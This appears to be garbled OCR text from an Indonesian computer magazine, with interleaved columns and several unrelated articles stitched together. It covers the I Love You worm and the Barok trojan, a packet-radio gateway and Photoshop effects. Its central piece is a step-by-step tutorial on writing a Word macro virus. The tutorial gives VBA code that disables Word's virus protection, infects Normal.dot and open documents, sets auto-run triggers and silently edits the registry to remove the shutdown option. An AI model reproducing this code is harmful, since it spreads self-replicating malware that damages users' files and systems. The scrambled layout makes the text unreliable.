Kelompok ini−seperti diungkap CNN−telah beberapa kali
mencoba untuk meng-hack ISP terbesar di negeri itu yaitu I Love You
Moscom Internet. Dan setidaknya dua kali menyebarkan Siapa yang tidak mengenal I Love You yang mencetak hit
virus secara sengaja ke para pelanggan Moscom. pada seputar bulan Mei tahun 2000. Boleh dibilang hampir
Penulis kira Onel de Guzman dengan Grammersoft ber- semua pengguna komputer mengenal atau setidaknya
usaha untuk mencari jalan dalam rangka mendapatkan pernah mendengarnya, karena daya sebarnya yang luar
akses internet secara gratis. biasa sehingga menggemparkan dunia.
Penulis kira inilah peran khusus dari worm I Love You. Se- Client Barok adalah:
telah file WIN-BUGSFIX.exe berhasil di-download dan • File name
Windows siap menjalankan file ini, maka peran worm ini • Outgoing Mail Server (SMTP)
selesai. Peran selanjutnya dijalankan oleh WIN-BUGSFIX.exe • Destination Mail
yang sejatinya merupakan trojan pencuri password. • Schedule Send.
Windows Scripting Host Barok dibuat juga oleh Spyder
dan GrammerSoft. Untuk mem-
I Love You dibuat bahasa Visual Basic Script, sehingga program Client dan Server Barok
mempunyai ekstensi *.vbs. ini Onel de Guzman mengguna-
Sebagaimana juga script- kan Microsoft Visual C++. Hal
script Visual Basic lain- ini dapat diketahui dengan 'mem-
nya, I Love You tidak da- bedah' Barok menggunakan hex
pat bekerja bila anda me- editor. Diantaranya pada offset
nonaktifkan atau tidak A59C file Server.exe dan pada
meng-install Windows offset D6A8C file Client.exe
Scripting Host. terdapat informasi yang me-
Gambar 5. Client Barok 2.0 nunjukkan tentang hal ini.
Ini adalah satu cara untuk
melindungi diri dari se- Signature atau tanda juga terdapat pada Barok sebagai pe-
rangan I Love You. Tetapi ngenal bahwa file tersebut adalah trojan Barok. Pada
bila anda memutuskan bagian server, yaitu mulai di offset B038 terdapat
untuk menonaktifkan signature ini:
Windows Scripting Host, barok ->by:spyder @Copyright (c) 2000 GRAMMERSoft Group
maka pertimbangkanlah
Gambar 7a.
script-script yang Signature pertama
Gambar 4. Windows scripting host
lainnya, karena bisa tidak Barok Server
berjalan juga.
Windows Scripting Host dapat Anda akses melalui fitur
Add/Remove Programs Properties di Control Panel. Pada
Gambar 4 diperlihatkan komponen Windows Scripting
Host yang telah ter-install. Perhatikan bagian Description
pada kotak dialog tersebut. Pada bagian itu Microsoft
sendiri menjelaskan bahwa Windows Scripting Host dapat
digunakan untuk mengotomatisasikan tugas-tugas dalam
Signature lainnya dapat dilihat pada offset B340, akan
Windows. Ini adalah satu sinyalemen.
anda jumpai seperti di bawah ini:
Otomatisasi bagai pisau bermata dua. Dengan otomatisasi BAROK…student of amacc mkt. phils ->by:spyder
tugas-tugas anda menjadi mudah dan cepat. Ini berarti @Copyright (c) 2000 GRAMMERSoft Group
satu keuntungan dalam proses produksi atau bekerja.
Gambar 7b.
Tetapi jangan lupa, dengan otomatisasi pula segalanya ber- Signature kedua
jalan dengan sendirinya padahal tidak diinginkan user. Barok Server
Berjalan diluar kontrol user yang menggunakan komputer
itu. Ini satu sisi lain yang bersifat negatif. Dalam koridor
otomatisasi, yang berperan penting adalah rutin-rutin
yang dijalankan. Hal ini tergantung sang programmer.
Barok
Sebagaimana telah dijelaskan dimuka bahwa I Love You
berperan membuka jalan bagi penyebaran dan penetrasi
trojan yang telah disiapkan Onel de Guzman ke kompu- Berdasarkan pengujian yang penulis lakukan terhadap
ter sasaran. Selanjutnya peran diambil alih oleh trojan. trojan Barok ini, baik unit Client ataupun unit Server,
telah terdeteksi oleh Antivirus McAfee.
Barok disebar oleh I Love You dari empat alamat URL
pada webserver SkyInet. Barok seperti trojan-trojan Satu di Antara yang Lain
lainnya mempunyai dua bagian. Yaitu bagian client dan Antara Onel de Guzman, I Love You, dan Barok terdapat
server. Berbeda dengan kebanyakan trojan yang ada, suatu mata rantai yang saling berkait. Anak muda yang
Barok bukanlah tipe remote control. Barok berbeda dari berusia 24 tahun itu−usia yang sama ketika Chen Ing
Back Orifice atau SubSeven yang pernah penulis bahas. Hau membuat virus CIH− membagi peran untuk I Love
Perhatikan dua bagian trojan Barok: Trojan Barok yang You dan Barok dalam rangka mencuri password Windows
banyak beredar di Internet sangat beragam dari versi untuk kepentingan pribadi.
Barok 1.0, Barok 2.0, dan Barok 2.1. Pada penulis terdapat Suatu kesenangan di atas penderitaan orang lain. Bagi kita
Barok versi 2.0 dengan ukuran paket zip sebesar 335 KB. semua tentu harus bersikap kritis dan meningkatkan
Ada tiga file pada paket tersebut, tetapi intinya hanya dua kewaspadaan walaupun terhadap virus, worm atau trojan
bagian yaitu file Client.exe dan Server.exe. yang terlihat sepele sekalipun. Karena bisa jadi dia meru-
Trojan Barok merupakan trojan yang dapat dikonfigurasi. pakan satu mata rantai dari skenario besar yang sedang
Bagian Client merupakan unit untuk mengkonfigurasi berjalan. Mencegah lebih baik dari mengobati.
bagian Server. Bagian yang dapat dikonfigurasi pada
VI R U S DAN WO R M
Membuat Sendiri Virus Macro
Macro pada Microsoft Word dimaksudkan untuk mengotomatisasi pekerjaan. MA Rody Candera
(odyxb@melva.org) menunjukkan bahwa otomatisasi dengan menggunakan Visual Basic pada
Microsoft Word dapat pula berarti pembentukan virus menggunakan fasilitas macro.
ALAM EDISI-EDISI MAJALAH NEOTEK, MUNGKIN PEM- 1. Virus Sign
D bahasan mengenai virus sudah begitu cukup mem-
beri pemahaman kepada pembaca sekalian. Tetapi
Penanda; tanda pengenal yang dimiliki virus. Program anti virus
menggunakan tanda pengenal yang dimiliki virus untuk
tetap saja cukup banyak penulis yang tetap mengangkat mengenali suatu program virus.
Contoh: Const marker="Make by Me-2D"
masalah mengenai virus. Berbicara mengenai virus sebe-
narnya mengasyikkan karena pada dasarnya pemahaman 2. Duplicating
yang lengkap mengenai virus baik untuk diketahui demi Penggandaan; kemampuan berkembang-biak dengan
memberikan informasi yang baik kepada para pengguna menggandakan dirinya.
komputer akan bahaya laten ini. 3. Defense
Pertahanan; kemampuan program virus untuk bertahan dari
Virus Macro serangan yang ada.
Virus ini sudah sangat dikenal bagi pengguna program ap- 4. Active Time
likasi Microsoft Word. Virus inilah yang sering kali mem- Waktu Aktif; suatu rutin dimana rutin ini nantinya menentukan
buat pusing mahasiswa-mahasiswa, karena dokumennya aktifnya program virus.
yang berisi catatan skripsi rusak atau lebih parah lagi jadi 5. Manipulation
hancur. Cerita yang menyedihkan yang pernah penulis Manipulasi; ini merupakan rutin program virus macro dimana
sendiri alamai ini. memulai aksinya melakukan perusakan atau bahkan
menghacurkan korbannya.
Sekarang sudah banyak beredar antivirus dengan berbagai
merek dagang yang bisa didapatkan secara gratis maupun Sampai disini, mari kita memulai praktek membuat virus
dengan membayar untuk mengatasi virus. Tetapi kejadian macro berdasarkan rutinitas yang telah dijelaskan di atas.
menyedihkan tetap berulang kali terjadi. Banyak juga
Tahap I: Membuat Virus Sign (Penanda Virus)
usaha penyewaan komputer yang tidak menggunakan
program antivirus, yang akibatnya ketika masalah muncul Jalankan Microsoft Word, lalu
menjadi sulit bahkan tidak bisa diatasi. 1 tekan Alt+F11 untuk meng-
aktifkan Visual Basic Editor.
Atas dasar hal itulah menjadikan sebuah rujukan kepada
penulis untuk mengangkat topik mengenai virus macro. Pada window aktif Visual Basic Editor,
Dalam hal ini penulis mencoba mengajak para pembaca klik kanan pada file aktif
sekalian untuk terjun langsung melakukan praktek dalam yang diwakili oleh Project
membuat virus macro dan cara mengatasinya. Document1), pilih sub
(D
Insert dan klik Module.
Alasan yang ada kenapa penulis membuat orientasi pada
Module tersebut itulah yang
kesempatan berikut ini seperti itu, dikarenakan penulis
nantinya akan menjadi virus
mencoba menjelaskan ternyata pembuatan virus ini sangat
yang kita buat.
sederhana dan tidak sulit tetapi dapat memberikan dampak
yang cukup besar seperti yang sudah pernah terjadi selama Selanjutnya, akan
ini. Begitu juga dalam hal mengatasinya, tidak jauh ber-
beda dengan pembuatannya.
2 muncul modul pada
bagian Module di
project. Sampai disini, kita
Sebelum penulis memulai inti dari cerita kita pada kesem-
keluar sebentar menuju
patan ini, penulis ingin sampaikan jika bahan penulisan
window aktif Microsoft
artikel ini bahan-bahannya merupakan hasil penjelajahan
Word.
di dunia maya internet, diskusi-diskusi, buku-buku, dan
artikel-artikel yang memberikan masukkan penting hing- Klik Tools
ga artikel ini tersajikan kepada para pembaca sekalian. hingga menu
pulldown
Struktur terlihat dan
Setiap virus yang hadir menemani perjalanan kita di dunia pilih Templates
komputer dan internet, memiliki kesamaan antara satu and Add-Ins...
dengan lainnya dalam hal struktur yang menjadikan maka window
rutinitasyang menjadi aturan main program virus untuk dari Templates
berkembang-biak. and Add-Ins
muncul.
Artikel pertama penulis mengenai virus (Neotek Vol II, No.
11, Agustus 2002), ada baiknya dibaca demi membantu Klik Organizer maka anda akan
memahami artikel kali ini. Dapat disimpulkan, rutin yang menuju window organizer. Pilih
ada pada virus macro yaitu: tab Macro Project Items.
Klik tulisan
Module1 dan Klik maka
klik Rename Klik makan
window
window
maka dialog Security akan
Security akan
muncul
muncul
rename akan
muncul, ma- membentuk pertahanannya. Program aplikasi Microsoft
sukkan pe- Word sebenarnya memiliki pendeteksi program macro
nanda virus ilegal di options. Perhatikan pada gambar di bawah ini.
yang anda
inginkan. Se- Jadi fungsi tersebut perlu untuk dimatikan demi lancarnya
telah selesai usaha virus macro dalam melakukan aksinya kedepan.
klik OK. Berikut kode listing untuk mematikan fungsi anti macro
ilegal.
Selesai sudah membuat penanda
3 virus kita. Hasil pengubahan
terhadap yang dilakukan dapat
Sub OptMSdie()
Options.SaveNormalPrompt = False
Options.VirusProtection = False
dilihat dengan mengaktifkan kembali Options.SavePropertiesPrompt = False
Visual Basic Editor. Hm... Bagaimana? Application.EnableCancelKey = wdCancelEnabled
End Sub
Apakah pembuatan penanda virus yang
dilakukan seseram virusnya? Ternyata Selain kode listing di atas, demi mematikan pengamanan
tidak, malah lebih santai daripada memi- yang dilakukan Microsoft Word, ada beberapa hal-hal lain
kirkan akibat yang akan kita coba tim- yang baik untuk dilakukan untuk membentuk pertahanan
bulkan nanti pada virus macro buatan kita. yang baik oleh program virus. Berikut salah satu kode
listing program yang dibutuhkan tersebut
Tahap I: Membuat Kode Listing Program Virus
Sub ToolsOptions()
2. Duplication Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Pada umumnya virus macro, dalam proses menggandakan Options.VirusProtection = True
dirinya dilakukan dengan memanfaatkan Global Template Dialogs(wdDialogToolsOptions).Show
OptMSdie
dari program aplikasi Microsoft Word atau kita lebih End Sub
mengenalnya dengan Normal.dot dengan jalan melakukan
infeksi pada normal.dot tersebut. 4. Active Time
Berikut merupakan kode listing program dalam melakukan Ini merupakan rutin yang tidak kalah pentingnya yang
infeksi tersebut. Kode lengkapnya dapat anda lihat pada harus dimiliki oleh program virus. Dengan rutin ini virus
lampiran kode listing program yang disertakan dalam CD. akan beraksi setelah mendapat aba-aba yang telah diten-
tukan untuk memulai infeksi penyebaran dirinya.
Sub DocInfection()
Dim Me2Doc As Boolean Seperti di perlombaan lari, para pelari yang berada di garis
Me2Doc = False
On Error Resume Next START akan berlari setelah mendengar suara letusan
For Each tar In ActiveDocument.VBProject.VBComponents pistol.
If tar.Name = "N30M4CR0T3K" Then Me2Doc = True
If tar.Name <> "N30M4CR0T3K" And tar.Name <> "ThisDocument" Then Begitulah pengandaiannya kurang lebih.
Application.OrganizerDelete Source:=ActiveDocument.FullName,
Name:=tar.Name, Object:=wdOrganizerObjectProjectItems Dalam hal ini, perlu diperhitungkan baik-baik. Kita dapat
.................... list not complete ..................... tentukan seperti pada saat program MS. Word diaktifkan,
Sub DocTempInfection() saat sebuah file dibuka, saat menyimpan file, saat... saat ....
Dim Tme2doc As Boolean
Tme2doc = False lainnya. Untuk opsi yang telah disebutkan tadi, kode listing
On Error Resume Next programnya adalah seperti berikut di bawah.
For Each tar In NormalTemplate.VBProject.VBComponents
If tar.Name = "N30M4CR0T3K" Then Tme2doc = True Program MS Word Diaktifkan
If tar.Name <> "N30M4CR0T3K" And tme3doc <> "ThisDocument" Then
Sub openW()
Application.OrganizerDelete Source:=NormalTemplate.FullName,
WordOp = Documents.Count
Name:=tar.Name, Object:=wdOrganizerObjectProjectItems
If WordOp <> 0 Then
....................... list not complete ............................
Normal.N30M4CR0T3K.DocInfection
3. Defense WordBasic.DisableAutoMacros False
On Error Resume Next
Ada kata bijak yang mungkin anda pernah mendengarnya, If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValur ("00:00:25"), "Normal.
yaitu Pertahanan yang baik adalah menyerang. Kata bijak N30M4CR0T3K.openW"
tersebut yang umumnya digunakan oleh virus untuk End If
End Sub
Manipulasi Registry
Selain manipulasi teks, manipulasi lain yang dapat dilaku-
kan adalah manipulasi file registry. Seperti yang kita ke-
tahui registry merupakan salah satu hal yang sangat pen-
ting yang dimiliki oleh Windows.
Contoh listing kode berikut, dapat menghilangkan opsi
shutdown pada toolbar Start.
Itu untuk satu mengganti huruf saja, bagaimana untuk
mengganti lebih dari satu? Tinggal menambahkan saja se- Sub SDdie()
Open "\sd.reg" For Output As #1
perti kode yang sudah ada, hanya target huruf yang de- Print #1, "REGEDIT4"
ngan untuk pengubahan saja yang perlu diganti. Print #1,
Print #1,
"[Hkey_Current_User\Sofware\Microsoft\Windows\CurrentVersion\Policies\Explo
rer]"
Print #1, """"; "NoClose"; """"; "dword:01"
Close #1
On Error Resume Next
Shell "regedit \sd.reg", vbHide
Kill "\sd.reg"
End Sub
VI R U S DAN WO R M
Membuat Penangkal Virus Macro
Setelah membahas cara membuat virus macro pada Word, MA Rody Candera
(odyxb@melva.org) menunjukkan bahwa cara yang serupa dapat digunakan
untuk membuat penangkal terhadap virus-virus macro.
Mengganti Nama Module Sub Pena97War()
Options.SaveNormalPrompt = False
Kembali ke window Word Options.VirusProtection = False
3 lalu klik Tools > Template
and Add-Ins. Pada window
Options.SavePropertiesPrompt = False
On Error Resume Next
If ActiveDocument.Name <> "Pena97War.doc" Then
Template Add-Ins, klik Organizer p=1
untuk mengaktifkan window v = MsgBox("Checked File : " + ActiveDocument.Name + " ...!!!",
Organizer. Setelah jendela organizer vbInformation, "Open File - Pena97War")
aktif, pilih tab On Error Resume Next
Macro Project For Each vir In ActiveDocument.VBProject.VBComponents
If vir.Name <> "Pena97War" And vir.Name <>
Items klik "ThisDocument" And vir.Name <> "MCPena97War" Then
Rename dan p=p+1
ganti nama mo- Set mok =
dule dengan yang kita inginkan. ActiveDocument.VBProject.VBComponents.Item(p)
xad1 = mok.CodeModule.Lines(1,
Contoh: N304NT1 mok.CodeModule.CountOfLines)
v = MsgBox("Checking Module Content " + vir.Name,
vbInformation, "Content of
Menambahkan UserForm
Kode Program
Perbedaan konstruksi packet radio untuk pengguna biasa dan untuk gateway
I NTE R N ET PAK ET R AD I O
Instalasi Gateway di Linux
Daerah anda tidak ada layanan telkom? Lalu bagaimana bisa berinternet?
Onno W. Purbo (onno@indo.net.id) setelah sebelumnya membahas wi-fi, kini membahas
penyediaan infrastruktur internet menggunakan radio amatir.
Rekan-rekan banyak yang menggunakan PC + sound card baca manual tersebut baik-baik, versi software yang digu-
dengan system operasi Windows. Untuk komunikasi packet nakan memang agak ketinggalan, tetapi banyak hal yang
radio menggunakan software AGWPE yang lebih baru dari perlu di mengerti dapat di baca di manual tersebut.
Flexnet, dan dapat mengenal banyak soundcard PC. Ambil berbagai paket software di
Mic dan speaker soundcard dapat di sambungkan ke per- http://sourceforge.net/projects/ax25/
alatan radio/walkie talkie yang digunakan untuk berhu-
bungan dengan instalasi gateway packet radio. AGWPE Ambil paket dari versi terbaru dari
dapat di ambil di http://www.raag.org/sv2agw/inst.htm libax25 seperti libax25-0.0.11.tar.gz
Bagi anda yang hanya berfungsi sebagai user & tidak men- ax25-tools seperti ax25-tools-0.0.8.tar.gz
jalankan servis apapun, lebih di sarankan untuk menggu- ax25-apps seperti ax25-apps-0.0.6.tar.gz
nakan Terminal Node Controler (TNC) atau sound card Sebaiknya juga mengambil melalui
modem tanpa menjalankan servis TCP/IP. Anda dapat login
ke salah satu gateway atau servis yang beroperasi dan http://www.rpmfind.net
menggunakan TCP/IP di server tersebut. ambil paket
Bagi anda yang lebih advance dapat mengujicoba jaringan ax25-utils-2.1.42a-3.i386.rpm
TCP/IP di amatir radio dengan berkoordinasi di mailing list dalam ax25-utils, terdapat beberapa software tambahan se-
orari-news@yahoogroups.com. perti Buletin Board System (BBS) dll.
Peralatan yang Dibutuhkan Persiapan Kernel Linux
Yang saya gunakan di rumah pada saat ini adalah: Jika anda menggunakan Linux Mandrake, maka anda cu-
• PC Pentium 75MHz, RAM 64Mbyte dan harddisk 20Gbyte. kup beruntung karena berbagai modul untuk keperluan
RAM perlu di upgrade ke 64Mbyte supaya enak untuk di amatir radio sudah di compile dalam kernel Mandrake.
instalasi Linux Mandrake. Harddisk yang dibutuhkan
sebetulnya hanya 2 Gbyte, akan tetapi susah mencari
harddisk 2 Gbyte, harddisk bekas yang saya dapat minimal
20Gbyte seharga Rp 200.000,-.
• Linux Mandrake 9.0. Tidak perlu kita menggunakan distro
yang terbaru. Kebaikan Linux Mandrake, modul-modul untuk
mendukung operasi packet radio sudah tersedia di kernel.
• Walkie Talkie/Handy Talkie (HT) ICOM IC02N untuk
bekerja di amatir radio 2 meter band. Kebetulan HT jenis ini
yang saya miliki di rumah, harga bekas di pasaran sekitar Rp
300-500.000,-.
• Coax dan antenna hygain 2 meter-an.
• Terminal Node Controller (TNC) Telereader Mr. Packet TNC-
220. Ini lumayan sulit untuk diperoleh di Indonesia. Saya
kebetulan di sumbang oleh Bapak Budi YB0HD salah satu
pengurus ORARI Jakarta untuk melakukan experimen ini. Di
Bandung, dulu dapat di beli di YB1CS di Jalan Sabang. Bagi
anda yang betul-betul berminat dapat menanyakan ke
mailing list orari-news@yahoogroups.com.
Sebetulnya saya juga beberapa melakukan experimen
menggunakan soundcard SoundBlaster SB16, tetapi entah
kenapa masih banyak gagal.
PHOTOSHOP
EMBUAT EFEK-EFEK KHUSUS PADA FOTO
M di Photoshop ternyata tidak sesulit
seperti yang dibayangkan oleh ba-
nyak orang, ternyata ada trik-trik yang
Penerapan fungsi Pattern memungkinkan pembentukan karya seni dari foto biasa.
PHOTOSHOP M
ASIH MENGENAI PEMBUATAN EFEK
pada foto dengan memanfaatkan
fungsi Pattern di Photoshop.
Selesai dengan efek line, sekarang anda di-
Penerapan fungsi Pattern memungkinkan pembentukan karya seni dari foto biasa.
PHOTOSHOP
NTUK URUSAN EFEK-EFEK, ADOBE
U Photoshop cukup diacungi jempol
karena memang betul-betul good.
Anda setuju bukan...
Penerapan fungsi Blur membuat foto biasa menjadi foto yang memiliki karya seni.
Klik kanan
disini untuk
memunculkan
popup menu
Load Selection
Iklan visionnet